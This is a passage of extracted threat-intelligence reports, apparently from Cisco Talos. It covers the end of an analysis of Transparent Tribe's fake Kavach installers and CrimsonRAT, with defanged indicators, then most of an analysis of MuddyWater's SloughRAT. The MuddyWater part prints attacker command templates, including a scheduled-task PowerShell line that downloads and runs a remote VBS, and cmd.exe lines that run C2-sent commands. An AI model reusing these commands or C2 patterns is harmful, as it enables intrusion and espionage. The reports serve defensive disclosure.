The downloaders will then reach out to a malicious website, masquerading as a legitimate
Indian government or pseudo-government entity, to download a malicious payload that is
then activated on the endpoint.
3/23
Next, download a legitimate copy of the Kavach application's MSI installer from yet another
attacker-controlled website and execute it to make the whole attack chain appear legitimate.
Downloader fetching and executing malicious payload and legitimate installer for Kavach.
Additional variant
Another variation of the initial infection vector used in the campaign is a notably large
downloader binary (141MB) that contains the entire legitimate installer (MSI) for the Kavach
application in its resources. The zipped copy of the MSI is extracted from the downloader's
resources and executed on the system as a decoy to appear legitimate to the targets. The
actual implant is then downloaded from a remote location, AES-decrypted using a hardcoded
key, written to disk and executed on the infected endpoint.
4/23
The second variant of the downloader downloads and decrypts the payload from a remote
location.
A timeline of older variants
As early as June 2021, the attackers primarily used malicious documents (maldocs) as an
initial infection vector to deliver the malicious downloaders. This vector consisted of a
malicious macro that would download and activate the downloader on the infected endpoint.
This practice continued into July 2021.
However, beginning with June 2021, there was also a steady evolution in the distribution
tactics used in this campaign. Around this time, we began observing the use of nontraditional initial entry mechanisms throughout the course of this campaign, suggesting a
clear intention of aggressively infecting targets for espionage.
For instance, in June 2021, the attackers used IMG files for distribution, containing multiple
infection artifacts 
 all COVID-19 themed 
 to trick targets into getting infected. Wrapping
malware in IMG files is a tactic gaining traction with crimeware operators and APTs as a way
to deliver malware to victims since newer versions of the Windows OS natively support IMG
files.
Malicious IMG distributed by Transparent Tribe.
The malicious image consists of four files:
Malicious Python-based stager.
Decoy PDF document containing a COVID-19-themed lure.
VBS file for executing the stager and displaying the decoy.
Malicious LNK file for activating the VBS on the endpoint.
5/23
6/23
In September 2021, the actors switched up their initial infection artifact and used VHDX files
delivering the malicious droppers. VHDX files do not retainMark Of the Web (MOTW)
stamps and thus artifacts such as maldocs, delivered through these wrappers aren't identified
as originating from the internet by Microsoft utilities such as Word, Excel etc. - allowing the
attackers to run malicious code on the endpoint without any Microsoft warnings.
The variant of the downloaders used here, previously disclosed by Cyble, masqueraded as an
app from the Canteen Stores Department (CSD) of the Government of India. On execution,
this variant would open the legitimate website for CSD on the target's system. However, as
seen previously with Transparent Tribe, the threat actors continued the development of
similar infection chains consisting of various themes to distribute their malware without
regard for any previous public disclosures.
The threat actor then introduced the use of RAR archives to distribute malicious malware in
November 2021. The RAR archive consisted of the downloader, this time downloading a
highly specific decoy PDF containing the work history of an Indian government official. The
RAR archives are typically password-protected and hosted on public media sharing websites.
Therefore, it is highly likely that Transparent Tribe used spearphishing emails to deliver
download URLs for the archives to their targets via emails containing the passwords for the
archives.
Timeline of evolution of entry vectors:
7/23
Implant analyses
CrimsonRAT
CrimsonRAT is a popular malware RAT implant that consists of a wide variety of capabilities.
It is the staple implant of choice for Transparent Tribe to establish long-term access into
victim networks. This RAT is actively worked upon and has seen considerable updates over
the years in not just the development of new capabilities, but also to obfuscate the implant by
the APT group.
The latest version of CrimsonRAT seen in this campaign in January and February 2022
contains a number of capabilities, including:
List files and folders in a directory path specified by the C2.
Run specific processes on the endpoint 
 keylogger and USB modules.
List process IDs and names running on the endpoint.
Get information such as name, creation times and size of image files (pictures such as
BMP, JPG etc.) specified by the C2.
Take screenshots of the current screen and send it to C2.
Upload keylogger logs from a file on disk to the C2.
8/23
Send system information to C2 including:
Computername, username, Operating System name, filepath of implant, parent
folder path.
Indicator of whether the keylogger module is in the endpoint and running and its
version.
Indicator of whether the USB module is in the endpoint and running and its
version.
Run arbitrary commands on the system.
Write data sent by C2 to a file on disk.
Read contents of a file on disk and exfiltrate to C2.
List all drives on the system.
List all files in a directory.
Download the USB worm and keylogger modules from the C2 and write them to disk.
Send a file's name, creation time and size to the C2- file path is specified by the C2.
Delete files specified by the C2 from the endpoint.
Get names, creation times and size of all files containing the file extension specified by
the C2.
9/23
Code Snippet: CrimsonRAT command handler.
Seen in:
Jan-Feb 2022: Deployed by Kavach-themed downloaders.
Lightweight implant
A new lightweight, .NET-based implant was also seen in this campaign in several infection
chains. This implant has limited capabilities when compared to CrimsonRAT but contains
enough functionality to control and monitor the infected system. Capabilities include:
List all running processes on the endpoint.
Download and execute a file from the C2.
Download and execute a file specified by the C2 from another remote location.
10/23
Close connection with the C2 until the next run.
Gather system information from the endpoint such as Computer Name, username,
public and local IPs, Operating system name, list of runnings AVs, device type (desktop
or laptop).
The implant also persists via an InternetShortcut in the current user's Startup directory.
Implant downloading and executing a file from a remote location.
Seen in:
Jan-Feb 2022: Deployed by Kavach-themed downloaders.
November 2021: Seen in infection chains using RAR archives hosted on CMS.
September 2021: Deployed by CSD-themed downloaders.
Python-based stagers
We've also observed the use of Python-based stagers throughout this campaign. These
stagers are pyinstaller-based EXEs and consist of the following functionalities:
Collect system information from the endpoint consisting of all running process names,
computername and OS name and send it to a remote C2 URL.
Drops one of two embedded files: A malicious DLL used to activate a recon tool in the
current user's Startup folder based on whether the endpoint is Windows 7 or not.
Parse responses from the C2 to obtain data that is then written to a file to disk.
All the relevant information used in the functioning of the stager is kept in a separate Python
file.
11/23
Stager configuration information.
Seen in:
June 2021: Maldocs.
June 2021: IMG files.
Embedded implant
The embedded implants deployed by the python based stager will simply activate a malicious
DLL existing on disk by loading and running it in the embedded implant's process. The DLL
loaded is the actual malicious reconnaissance tool used by the attackers.
Recon tool
The DLL implant will first send a beacon to the C2 server URL to indicate that it has been
successfully deployed. The C2 server must reply with a specific keyword such as
"onlyparanoidsurvive" for the implant to start accepting commands from another C2 URL.
The implant will first send a list of all files in the current user's Cookie directory to the C2. In
response, the C2 may send the "senddevices" command to the implant. If this command is
received, the implant will send the following data to a third C2 URL:
OS Caption from CIM_OperatingSystem.
All local IP addresses of the infected endpoint.
Device type 
 desktop or laptop.
Product version of the executable in which the DLL has been loaded.
12/23
Implant gathering system information for exfiltration to the C2.
The implant will then proceed to get executables from the remote C2 server that are then
executed on the infected endpoint.
13/23
Helper DLL used to execute binaries on the endpoint.
Targeting and attribution
This campaign saw the use of multiple types of lures and decoys to target Indian government
personnel. This is a targeting tactic typical of groups operating under the Pakistani nexus of
APT groups, such as Transparent Tribe and SideCopy.
For example, in July 2021, we saw the attackers use themes related to the 7th Indian Central
Pay Commission (7th CPC) for government employees in maldocs to deliver the Pythonbased stager that deployed malware on the infected endpoints. Transparent Tribe will
frequently use the 7th CPC as a topic of interest to trick victims into opening maldocs and
infecting themselves.
14/23
Maldoc with 7th CPC themes.
We also saw the use of COVID-themed lures and decoys containing advisories primarily
targeting employees of the government of India. This is another tactic that the Transparent
Tribe has utilized in past operations.
15/23
COVID-19-themed decoy used against government employees.
Over the past year, we have observed this threat actor heavily utilize women's resumes to
target individuals of interest. This is inline with their tactic of honey trapping targets by using
such malicious resumes and executables that display alluring pictures. This campaign,
however, used a similar yet distinct theme. Instead of resumes, we observed the use of a
decoy document in November 2021 that detailed a male Indian Ministry of Defence (MoD)
employee's work experience.
16/23
Service history of an MoD official used as a lure/decoy.
Another TTP used by Transparent Tribe in their operations is the cloning of legitimate
websites into fake ones owned and operated by the attackers. These fake websites are used
along with typo-squatted or similarly spelled domains to appear legitimate but serve
malicious artifacts as part of the attackers' infection chains. One such example in this
campaign is the malicious domain dsoi[.]info. This domain is a direct copy of the legitimate
website of the Defence Service Officers' Institute (DSOI) of India, created by cloning content
using HTTrack, a free website copier program.
We've seen this tactic (cloning legitimate websites using HTTrack) used by Transparent Tribe
in the past to deliver ObliqueRAT malware payloads around mid-2021.
17/23
Transparent Tribe commonly uses malicious artifacts against Indian targets, masquerading
as legitimate applications maintained by the government of India. In September 2021, Talos
disclosed Operation Armor Piercer, which consisted of the use of themes pertaining to the
Kavach MFA application to spread commodity RATs. The SideCopy APT group also uses
trojans such as MargulasRAT pretending to be a VPN application for India's National
Informatics Centre (NIC). This new campaign from Transparent Tribe also saw fake
installers for the Kavach application being used to deploy CrimsonRAT and other malware.
The use of CrimsonRAT in operations such as these is expected of Transparent Tribe. It has
been seen in the wild for years and is the tool of choice for the threat actors in campaigns that
cast a relatively wide net for targeting their victims. This is unlike ObliqueRAT, which is used
in highly targeted operations by Transparent Tribe.
The use of new bespoke malware in addition to the RATs indicates the group is diversifying
their malware portfolio to achieve an even greater degree of success. In another common
trend, we have also observed Transparent Tribe quickly develop and deploy bespoke, small
and lightweight stagers and downloaders that can be modified with relative ease (and
discarded if needed), leading to the deployment of their actual implants meant to provide
long term access into their targets' networks and systems.
Conclusion
Transparent Tribe has been a highly active APT group in the Indian subcontinent. Their
primary targets have been government and military personnel in Afghanistan and India. This
campaign furthers this targeting and their central goal of establishing long term access for
espionage. The use of multiple types of delivery vehicles and file formats indicates that the
group is aggressively trying to infect their targets with their implants such as CrimsonRAT.
They have continued the use of fake domains masquerading as government and quasigovernment entities, as well as the use of generically themed content-hosting domains to
host malware. Although not very sophisticated, this is an extremely motivated and persistent
adversary that constantly evolves tactics to infect their targets.
Organizations should remain vigilant against such threats, as they are likely to proliferate in
the future. In-depth defense strategies based on a risk analysis approach can deliver the best
results in the prevention. However, this should always be complemented by a good incident
response plan which has been not only tested with tabletop exercises and reviewed and
improved every time it's put to the test on real engagements.
Coverage
Ways our customers can detect and block this threat are listed below.
18/23
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
actors as part of their campaign. You can try Secure Email for free here.
19/23
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
malicious activity associated with this threat.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
protection into all Cisco Secure products.
Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are
available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.
Snort SIDs: 59222-59223
The following ClamAV signatures available for protection against this threat:
Vbs.Downloader.Agent-9940743-0
Win.Downloader.TransparentTribe-9940744-0
Win.Trojan.MargulasRAT-9940745-0
Win.Downloader.Agent-9940746-0
Win.Trojan.MSILAgent-9940762-1
Win.Trojan.PythonAgent-9940791-0
Lnk.Trojan.Agent-9940793-0
Win.Trojan.TransparentTribe-9940795-0
Win.Trojan.TransparentTribe-9940801-0
Win.Downloader.TransparentTribe-9940802-0
Orbital Queries
Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
see if their endpoints are infected with this specific threat. For specific OSqueries on this
threat, click below:
Downloader
Maldoc
20/23
Python stagers
IOCs
Maldocs
15b90d869b4bcc3cc4b886abbf61134e408088fdfbf48e9ab5598a4c80f6f4d8
d2113b820db894f08c47aa905b6f643b1e6f38cce7adf7bf7b14d8308c3eaf6e
Downloaders
b0ecab678b02fa93cf07cef6e2714698d38329931e5d6598b98ce6ee4468c7df
2ca028a2d7ae7ea0c55a1eeccd08a9386f595c66b7a0c6099c0e0d7c0ad8b6b8
9d4e6da67d1b54178343e6607aa459fd4d711ce372de00a00ae5d81d12aa44be
2b32aa56da0f309a6cd5d8cd8b3e125cb1b445b6400c3b22cf42969748557228
1ba7cf0050343faf845553556b5516d96c7c79f9f39899839c1ca9149cf2d838
84841490ea2b637494257e9fe23922e5f827190ae3e4c32134cadb81319ebc34
dd23162785ed4e42fc1abed4addcab2219f45c802cccd35b2329606d81f2db71
4d14df9d5fa637dae03b08dda8fe6de909326d2a1d57221d73ab3938dfe69498
2bb2a640376a52b1dc9c2b7560a027f07829ae9c5398506dc506063a3e334c3a
aadaa8d23cc2e49f9f3624038566c3ebb38f5d955b031d47b79dcfc94864ce40
b3bc8f9353558b7a07293e13dddb104ed6c3f9e5e9ce2d4b7fd8f47b0e3cc3a5
5911f5bd310e943774a0ca7ceb308d4e03c33829bcc02a5e7bdedfeb8c18f515
Lightweight implant
f66c2e249931b4dfab9b79beb69b84b5c7c4a4e885da458bc10759c11a97108f
011bcca8feebaed8a2aa0297051dfd59595c4c4e1ee001b11d8fc3d97395cc5c
5c341d34827c361ba2034cb03dea665a873016574f3b4ff9d208a9760f61b552
d9037f637566d20416c37bad76416328920997f22ffec9340610f2ea871522d8
124023c0cf0524a73dabd6e5bb3f7d61d42dfd3867d699c59770846aae1231ce
CrimsonRAT
67ad0b41255eca1bba7b0dc6c7bd5bd1d5d74640f65d7a290a8d18fba1372918
a0f6963845d7aeae328048da66059059fdbcb6cc30712fd10a34018caf0bd28a
Python based downloaders
b9fea0edde271f3bf31135bdf1a36e58570b20ef4661f1ab19858a870f4119ba
dc1a5e76f486268ca8b7f646505e73541e1dc8578a95593f198f93c9cd8a5c8d
99e6e510722068031777c6470d06e31e020451aa86b3db995755d1af49cc5f9e
21/23
Intermediate artifacts
892a753f31dadf1c6e75f1b72ccef58d29454b9f4d28d73cf7e20d137ce6dd8d
c828bccfc34f16983f624f00d45e54335804b77dd199139b80841ad63b42c1f3
0d3f5ca81f62b8a68647a4bcc1c5777d3e865168ebb365cab4b452766efc5633
a0964a46212d50dbbbbd516a8a75c4764e33842e8764d420abe085d0552b5822
4162eaeb5826f3f337859996fc7f22442dd9b47f8d4c7cf4f942f666b1016661
e3e9bbdaa4be7ad758b0716ee11ec67bf20646bce620a86c1f223fd2c8d43744
56f04a39103372acc0f5e9b01236059ab62ea3d5f8236280c112e473672332b1
08603759173157c2e563973890da60ab5dd758a02480477e5286fccef72ef1a2
2043e8b280ae016a983ecaea8e2d368f27a31fd90076cdca9cef163d685e1c83
adc8e40ecb2833fd39d856aa8d05669ac4815b02acd1861f2693de5400e34f72
adaf7b3a432438a04d09c718ffddc0a083a459686fd08f3955014e6cf3abeec1
VHDX
5e645eb1a828cef61f70ecbd651dba5433e250b4724e1408702ac13d2b6ab836
Domains
zoneflare[.]com
secure256[.]net
directfileshare[.]net
dsoi[.]info
download[.]kavach-app[.]in
kavach-app[.]in
otbmail[.]com
URLs
hxxp://directfileshare[.]net/DA-Updated.xls
hxxp://directfileshare[.]net/dd/m.exe
hxxp://download[.]kavach-app[.]in/Kavach.msi
hxxp://dsoi[.]info/downloads/chrmeziIIa.exe
22/23
hxxp://iwestcloud[.]com/Pick@Whatsoever/Qu33nRocQCl!mbing.php
hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php
hxxp://iwestcloud[.]com/Pick@Whatsoever/S3r&eryvUed.php"
hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cert.php
hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Cor2PoRJSet!On.php
hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/Dev3l2Nmpo7nt.php
hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/f3dlPr00f.php
hxxp://zoneflare[.]com/C2L!Dem0&PeN/A@llPack3Ts/xwunThedic@t6.php"
hxxp://zoneflare[.]com/R!bB0nBr3@k3r/FunBreaker.php
hxxp://zoneflare[.]com/R!bB0nBr3@k3r/tallerthanhills.php"
hxxp://zoneflare[.]com/R!bB0nBr3@k3r/zoneblue/mscontainer.dll
hxxps://drive[.]google[.]com/uc?export=download&id=1kMeI1R7sthlqWaPrp8xiNcQLjbKY9qf
hxxps://kavach-app[.]in/auth/ver4.mp3
hxxps://secure256[.]net/pdf/ServicedetailforDARevision.pdf
hxxps://secure256[.]net/ver4.mp3
hxxps://zoneflare[.]com/uipool.scr
23/23
Iranian linked conglomerate MuddyWater comprised of
regionally focused subgroups
blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
By Asheer Malhotra, Vitor Ventura and Arnaud Zobec.
Cisco Talos has observed new cyber attacks targeting Turkey and other Asian countries
we believe with high confidence are from groups operating under the MuddyWater
umbrella of APT groups. U.S. Cyber Command recently connected MuddyWater to
Iran's Ministry of Intelligence and Security (MOIS).
These campaigns primarily utilize malicious documents (maldocs) to deploy
downloaders and RATs implemented in a variety of languages, such as PowerShell,
Visual Basic and JavaScript.
Another new campaign targeting the Arabian peninsula deploys a WSF-based RAT
we're calling "SloughRAT", identified as an implant called "canopy" by CISA in their
advisory released in late February.
Based on a review of multiple MuddyWater campaigns, we assess that the Iranian APT
is a conglomerate of multiple teams operating independently rather than a single threat
actor group.
The MuddyWater supergroup is highly motivated and can use unauthorized access to
conduct espionage, intellectual property theft and deploy ransomware and destructive
malware in an enterprise.
Executive summary
1/22
Cisco Talos has identified multiple campaigns and tools being perpetrated by the
MuddyWater APT group, widely considered to be affiliated with Iranian interests. These
threat actors are considered extremely motivated and persistent when it comes to targeting
victims across the globe.
Talos disclosed a MuddyWater campaign in January targeting Turkish entities that leveraged
maldocs and executable-based infection chains to deliver multistage, PowerShell-based
downloader malware. This group previously used the same tactics to target other countries in
Asia, such as Armenia and Pakistan.
In our latest findings, we discovered a new campaign targeting Turkey and the Arabian
peninsula with maldocs to deliver a Windows script file (WSF)-based remote access trojan
(RAT) we're calling "SloughRAT" an implant known by "canopy" in CISA's most recent alert
from February 2022 about MuddyWater.
This trojan, although obfuscated, is relatively simple and attempts to execute arbitrary code
and commands received from its command and control (C2) servers.
Our investigation also led to the discovery of the use of two additional script-based implants:
one written in Visual Basic (VB) (late 2021 - 2022) and one in JavaScript (2019 - 2020),
which also downloads and runs arbitrary commands on the victim's system.
MuddyWater's variety of lures and payloads 
 along with the targeting of several different
geographic regions 
 strengthens our growing hypothesis that MuddyWater is a
conglomerate of sub-groups rather than a single actor. These sub-groups have conducted
campaigns against a variety of industries such as national and local governments and
ministries, universities and private entities such as telecommunication providers. While
these teams seem to operate independently, they are all motivated by the same factors that
align with Iranian national security objectives, including espionage, intellectual theft, and
destructive or disruptive operations based on the victims they target.
A variety of campaigns analyzed are marked by the development and use of distinct infection
vectors and tools to gain entry, establish long-term access, siphon valuable information and
monitor their targets. The MuddyWater teams appear to share TTPs, as evidenced by the
incremental adoption of various techniques over time in different MuddyWater campaigns.
We represent this progression in a detailed graphic in the first main section of this blog.
MuddyWater threat actor
MuddyWater, also known as "MERCURY" or "Static Kitten," is an APT group the U.S. Cyber
Command recently attributed to Iran's Ministry of Intelligence and Security (MOIS). This
2/22
threat actor, active since at least 2017, frequently conducts campaigns against high-value
targets in countries in North America, Europe and Asia. MuddyWater campaigns typically
fall into one of the following categories:
Espionage: Collecting information on adversaries or regional partners that can benefit
Iran by helping to advance its political, economic, or national security interests.
Intellectual property theft: Stealing intellectual property and other proprietary
information can benefit Iran in a variety of ways, including helping Iranian businesses
against their competitors, influencing economic policy decisions at the state level, or
informing government-related research and design efforts, among others. These
campaigns target private and government entities, such as universities, think tanks,
federal agencies, and various industry verticals.
Ransomware attacks: MuddyWater has previously attempted to deploy
ransomware, such as Thanos, on victim networks to either destroy evidence of their
intrusions or disrupt operations.
MuddyWater frequently relies on the use of DNS to contact their C2 servers, while the initial
contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell,
Visual Basic and JavaScript scripting along with living-off-the-land binaries (LoLBins) and
remote connection utilities to assist in the initial stages of the infection.
MuddyWater likely comprised of multiple sub-groups
We assess that MuddyWater is a conglomerate of smaller teams, with each team using
different targeting tactics against specific regions of the world. They appear to share some
techniques and evolve them as needed. This sharing is possibly the result of contractors that
move from team to team, or the use of the same development and operational contractors
across each team. The latter also explains why we have seen simple indicators such as unique
strings and watermarks shared between MuddyWater and the Phosphorus (aka APT35 and
Charming Kitten) APT groups. These groups are attributed to different Iranian state
organizations 
 the MOIS and IRGC, respectively.
Based on new information and a review of MuddyWater threat activity and TTPs, we can link
together the attacks covered in our January 2022 MuddyWater blog with this most recent
campaign targeting Turkey and other Asian countries. The graphic below shows the overlap
in TTPs and regional targeting between the various MuddyWater campaigns, which suggests
these attacks are distinct, yet related, clusters of activity. While some campaigns initially
appeared to leverage new TTPs that seemed unrelated to other operations, we later found
that they instead demonstrated a broader TTP-sharing paradigm, typical of coordinated
operational teams.
3/22
Tracing MuddyWater's activity over the last year, we see that some of the shared techniques
seem to be refined from one region to the other, suggesting the teams use their preferred
flavors of tools of choice, including final payloads. The above timeline also shows the
incremental usage of certain techniques in different campaigns over time, suggesting that
they are tested and improved before being implemented in future operations.
The first two techniques we see being implemented and then shared in future operations are
signaling tokens and an executable dropper. We first observed the usage of tokens for
signaling in April 2021 in a campaign against Pakistan via a simple dropper that downloads
the "Connectwise" remote administration tool. Later, in June, we see the first usage of the
executable dropper against Armenia (described in detail in our previous post). The dropped
payload is a PowerShell script that loads another PowerShell script that downloads and
executes a final PowerShell-based payload.
4/22
The two techniques were then combined later in August 2021 in a campaign targeting
Pakistan, this time still using the homemade tokens. Later, the actors graduated to a more
professional implementation of the token by using canarytokens[.]com's infrastructure.
canarytokens[.]com is a legitimate service that MuddyWater uses to make their operations
appear less suspicious. These techniques were next leveraged in a November 2021 campaign
targeting Turkey in the campaign we described in our January blog. In these attacks on
Turkey, MuddyWater used maldocs with tokens and the same executable droppers previously
seen targeting Armenia and Pakistan.
In March 2021, we observed MuddyWater using the Ligolo reverse-tunneling tool in attacks
on Middle Eastern countries. This tactic was later reused in December 2021, along with the
introduction of a new implant. Beginning in December 2021, we observed MuddyWater using
a new WSF-based RAT we named "SloughRAT" to target countries in the Arabian Peninsula,
which is described in more detail later in this blog. During our investigation, we discovered
another version of SloughRAT being deployed against entities in Jordan. This attack included
the deployment of Ligolo 
 a MuddyWater tactic also corroborated by Trend Micro in March
2021 
 following the deployment of SloughRAT.
All these attacks show an interesting pattern: Multiple commonalities in some key infection
artifacts and TTPs, while retaining enough operational distinctions. This pattern can be
broken down into the following practices:
The introduction of a TTP in one geography, a delay of typically two or three months,
then the reuse of that same TTP in a completely different geography, alongside other
proven TTPs borrowed from campaigns conducted in another geography.
The introduction of at least one new TTP completely novel to MuddyWater's tactics in
almost every geographically distinct campaign.
These observations strongly indicate that MuddyWater is a group of groups, each responsible
for targeting a specific geography. Each is also responsible for developing novel infection
techniques while being allowed to borrow from a pool of TTPs tested in previously separate
campaigns.
Campaigns
Tying together previous MuddyWater campaigns
In our previous post, we disclosed two campaigns using the same types of Windows
executables 
 one targeting Turkey in November 2021 and one from June 2021 targeting
5/22
Armenia. Another campaign illustrated previously used similar executables, this time to
target Pakistan. This campaign deployed a PowerShell-based downloader on the endpoint to
accept and execute additional PS1 commands from the C2 server.
Going further back, in April 2021, we observed another instance of Muddywater targeting
entities in Pakistan, this time with a maldoc-based infection vector. The lure document
claimed to be part of a court case, as the image below shows.
6/22
Malicious lure containing a blurred image of the state emblem of Pakistan and referring to a
court case.
In this case, however, the attackers attempted to deploy the Connectwise Remote Access
client on the target's endpoints, a tactic commonly used by MuddyWater to gain an initial
foothold on targets' endpoints.
In the attacks deploying the RAT in April 2021 and the EXE-based infection vector from
August 2021, the maldocs and decoy documents reached out to a common server to
download a common image file that links them.
These campaigns used a homemade implementation of signaling tokens. In this case, the
maldocs have an external entity downloaded from an attacker-controller server. This entity
consists in a simple image which has no malicious content. The same base URL is employed
in both campaigns:
hxxp://172.245.81[.]135:10196/Geq5P3aFpaSrK3PZtErNgUsVCfqQ9kZ9/
However, the maldoc appends the additional URL extension
"ef4f0d9af47d737076923cfccfe01ba7/layer.jpg" while the decoy appends "/Panop/gallery.jpg".
This may be a way for the attackers to track their initial infection vector and determine which
one is more successful. It is highly likely that the attackers used this server as a token tracker
to keep track of successful infections in this campaign. This token-tracking system was then
migrated to CanaryTokens in September 2021 in the attacks targeting Turkey using the
malicious Excel documents.
MuddyWater Middle East campaign using maldocs 
 SloughRAT
During a recent IR engagement, Talos observed multiple instances of malicious documents
(maldocs) 
 specifically XLS files 
 distributed by MuddyWater. These XLS files were
observed targeting the Arabian peninsula through a recent phishing campaign.
The maldoc consists of a malicious macro that drops two WSF files on the endpoint. One of
these scripts is the instrumentor script meant to execute the next stage. This instrumentor
script is placed in the current user's Startup folder by the VBA macro to establish persistence
across reboots.
The second script is a WSF-based RAT we call "SloughRAT" that can execute arbitrary
commands on the infected endpoint. This RAT consists of obfuscated code from interweaved
Visual Basic and JavaScript.
7/22
Excel document that drops the Outlook.wsf file.
WSF-based instrumentor script
At first glance, the instrumentor script looks complicated because of its obfuscation.
However, at its core, the script is solely meant to execute the next stage WSF RAT payload.
At runtime, the code deobfuscates two key components for the next stage:
Path to the RAT script that's hard-coded but obfuscated.
The de-facto key in the RAT that triggers the malicious code to call.
This data is then used to make a call to the WSF-based RAT:
cmd.exe /c <path_to_WSF_RAT> <key>
8/22
Deobfuscation of persistence.
SloughRAT analysis
The WSF implant has several capabilities. The script uses multilayer obfuscation to hide its
true extensions. The screenshots below are the result of the analysis and are deobfuscations
for better comprehension.
The RAT script needs a function name as an argument to execute correctly and perform its
malicious activities. This name is provided by the instrumentor script and could be a method
of thwarting automated dynamic analysis, since submitting the RAT script in isolation
without the function name as an argument will result in a failed run of the sample in a
sandbox.
Preliminary information gathering and infection registration
The RAT script begins execution by performing a WMI query to record the IP address of the
infected endpoint.
Deobfuscation of discovery capabilities.
It will then get the user and computer names by querying the environment variables:
%COMPUTERNAME%
%USERNAME%
9/22
Deobfuscation of discovery capabilities.
This system information is then concatenated using a delimiter and encoded to register the
infected system with the C2 server hardcoded into the implant.
Format:
<IP_address>|!)!)!|%ComputerName%/%USERNAME%
RAT capabilities
This RAT's capabilities are relatively simple, aside from the information-gathering
capabilities described previously.
Once the infection is registered with the C2 server, the implant will receive a command code
from the C2 server. The implant uses two different URLs:
One is used to register the implant and request arbitrary commands from the C2.
Another that is used to POST the results of the commands executed on the infected
endpoint.
The communication with the C2 is done using the common ServerXMLHTTP from the
MSXML2 API to instrument an HTTP POST request.
The time between each request is randomized, which makes the malware stealthier and can
bypass some sandboxes.
10/22
Deobfuscation of HTTP request construction.
Any data sent to the C2 server is in the format of HTTP forms accompanied by relevant
headers, like:
Content-Type
Content-Length
CharSet.
First, the script sends the system information to the first C2 URL, by encoding the message,
and sending it via POST request, inside the parameter "vl" using the following format:
<IP_address>|!)!)!|%ComputerName%/%USERNAME%
Then, the server returns a UID constructed via concatenation of the server IP and an
UUIDv4.
11/22
For example, the UID 5-199-133-149-<UUIDv4>
is stored in a variable and sends keep-alive messages to request commands from the C2.
Then, this UID is sent through "vl" parameters inside a POST HTTP request to another C2
URL.
When the server receives this UID, it returns an encoded message that the script interprets.
The message can be:
"ok": Do nothing and send the UID again (like a keep-alive).
12/22
"401": This order cleans the UID variable and forces the script to request another UID,
by sending a request to the first URI.
A command to execute that starts the command execution routine.
A command received from the C2 server will be executed using the command line utility. Its
output is recorded in a temporary file on disk in a location such as "%TEMP%\stari.txt". This
data is then immediately read and sent out to the C2. The message will have the following
format:
<UID>|!)!)!|<result of command output>
Commands are executed using the command line:
cmd.exe /c <command_sent_by_C2> >> <path_to_temp_file>
Deobfuscation of command execution routine.
The attackers used another version of SloughRAT, which isn't as obfuscated as the version
illustrated earlier, this time targeting entities in the Arabian peninsula. The overall
functionality used in this instance is the same with minor modifications in file paths,
delimiters, etc.
13/22
Version No. 2 of the WSF RAT 
 minor changes only.
The attackers utilized SloughRAT to deploy Ligolo, an open-source reverse-tunneling tool to
gain a greater degree of control over the infected endpoints. This tactic observed is in sync
with previous findings from Trend Micro.
Overall infection chain:
14/22
VBS-based downloaders
In another instance, we observed the deployment of VBS-based malicious downloaders in
December 2021 and through January 2022 via malicious scheduled tasks set up by the
attackers. The scheduled task would look something like this:
SchTasks /Create /SC ONCE /ST 00:01 /TN <task_name> /TR powershell -exec bypass -w 1
Invoke-WebRequest -Uri '<remote_URL_location>' -OutFile
<malicious_VBS_path_on_endpoint>;
wscript.exe <malicious_VBS_path_on_endpoint>
These tasks download and parse content from the C2 server and execute it on the infected
endpoint. The output of the command would be written to a temporary file in the
%APPDATA% directory and subsequently read and exfiltrated to the C2.
The complete infection chain of these VBS-based downloaders is currently unknown.
15/22
VBS-based downloader.
Older campaign using JS-based downloaders
An older campaign operated by MuddyWater toward the end of November 2019 and into
2020 utilized maldocs and a convoluted chain of obfuscated scripts to deploy a JavaScriptbased downloader/stager on the infected endpoint. This campaign also appears to target
Turkish users.
The maldoc contains a macro that would drop a malicious obfuscated VBS in a directory on
the system. The macros would then create persistence for the VBS via the Registry Run key of
the current user. This VBS is responsible for deobfuscating the next payloads and executing
16/22
them on the endpoint. This execution culminated into a malicious JS downloader being
executed on the system to download and execute commands.
17/22
JS-based downloader.
18/22
Conclusion
Cisco Talos has observed Iranian APT groups conducting malicious operations and activities
all over the world for years. Particularly, 2021 was prolific in cybersecurity incidents for Iran
where state-run organizations were targeted. These events were attributed to Western
nations by the Iranian regime, with the promise of revenge. It's hard to say if these
campaigns are the result of such promises or just part of these groups' usual activity.
However, the fact that they have changed some of their methods of operation and tools is yet
another sign of their adaptability and unwillingness to refrain themselves from attacking
other nations.
We believe there are links between these different campaigns, including the migration of
techniques from region to region, along with their evolution into more advanced versions.
Overall, the campaigns we describe cover Turkey, Pakistan, Armenia and countries from the
Arabian peninsula. While they share certain techniques, these campaigns also denote
individuality in the way they were conducted, indicating the existence of multiple sub-teams
beneath the Muddywater umbrella 
 all sharing a pool of tactics and tools to pick and choose
from.
In-depth defense strategies based on a risk analysis approach can deliver the best results in
protecting against such a highly motivated set of threat actors. However, this should always
be complemented by a good incident response plan which has not only been tested with table
top exercises, but also reviewed and improved every time it is put to the test on real
engagements.
Coverage
Ways our customers can detect and block this threat are listed below.
19/22
